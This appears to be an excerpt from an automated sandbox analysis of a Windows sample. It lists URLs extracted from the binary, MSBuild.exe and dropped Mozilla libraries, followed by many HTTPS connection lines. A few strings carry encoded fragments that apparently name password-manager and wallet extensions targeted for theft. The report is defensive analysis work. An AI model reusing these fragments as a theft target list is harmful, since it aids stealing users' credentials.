Source: CR0QGWXdDl.exe, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: CR0QGWXdDl.exe, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: CR0QGWXdDl.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0=
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: CR0QGWXdDl.exe, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: CR0QGWXdDl.exe, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: CR0QGWXdDl.exe, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: CR0QGWXdDl.exe, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: Amcache.hve.5.dr	String found in binary or memory: http://upx.sf.net
Source: CR0QGWXdDl.exe, mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: MSBuild.exe, MSBuild.exe, 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.4.dr, mozglue.dll.4.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: MSBuild.exe, 00000004.00000002.2193256985.000000001AFB1000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2203662201.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: EHCBAAAF.4.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJKFCFBGCBGDHCB.4.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJKFCFBGCBGDHCB.4.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: EHCBAAAF.4.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: EHCBAAAF.4.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: EHCBAAAF.4.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJKFCFBGCBGDHCB.4.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJKFCFBGCBGDHCB.4.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: EHCBAAAF.4.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: EHCBAAAF.4.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: EHCBAAAF.4.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: AFHDAKJKFCFBGCBGDHCB.4.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: https://mozilla.org0/
Source: KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	String found in binary or memory: https://support.mozilla.org
Source: KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF
Source: MSBuild.exe, MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016
Source: MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY
Source: MSBuild.exe, 00000004.00000002.2180117872.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV
Source: MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17
Source: MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e171
Source: MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF
Source: MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm
Source: MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJKFCFBGCBGDHCB.4.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94
Source: mozglue[1].dll.4.dr, freebl3.dll.4.dr, softokn3[1].dll.4.dr, mozglue.dll.4.dr, softokn3.dll.4.dr, nss3[1].dll.4.dr, freebl3[1].dll.4.dr, nss3.dll.4.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: EHCBAAAF.4.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MSBuild.exe, 00000004.00000002.2199521510.0000000027032000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000004.00000002.2180750982.0000000000DA2000.00000004.00000020.00020000.00000000.sdmp, AFHDAKJKFCFBGCBGDHCB.4.dr	String found in binary or memory: https://www.expedia.com/?locale=en_US&siteid=1&semcid=US.UB.ADMARKETPLACE.GT-C-EN.HOTEL&SEMDTL=a1219
Source: EHCBAAAF.4.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	String found in binary or memory: https://www.mozilla.org
Source: MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: MSBuild.exe, 00000004.00000002.2180117872.000000000045A000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: KKJKFBKKECFHJKEBKEHIDAEBKF.4.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49760 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49760
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49756
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49754
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
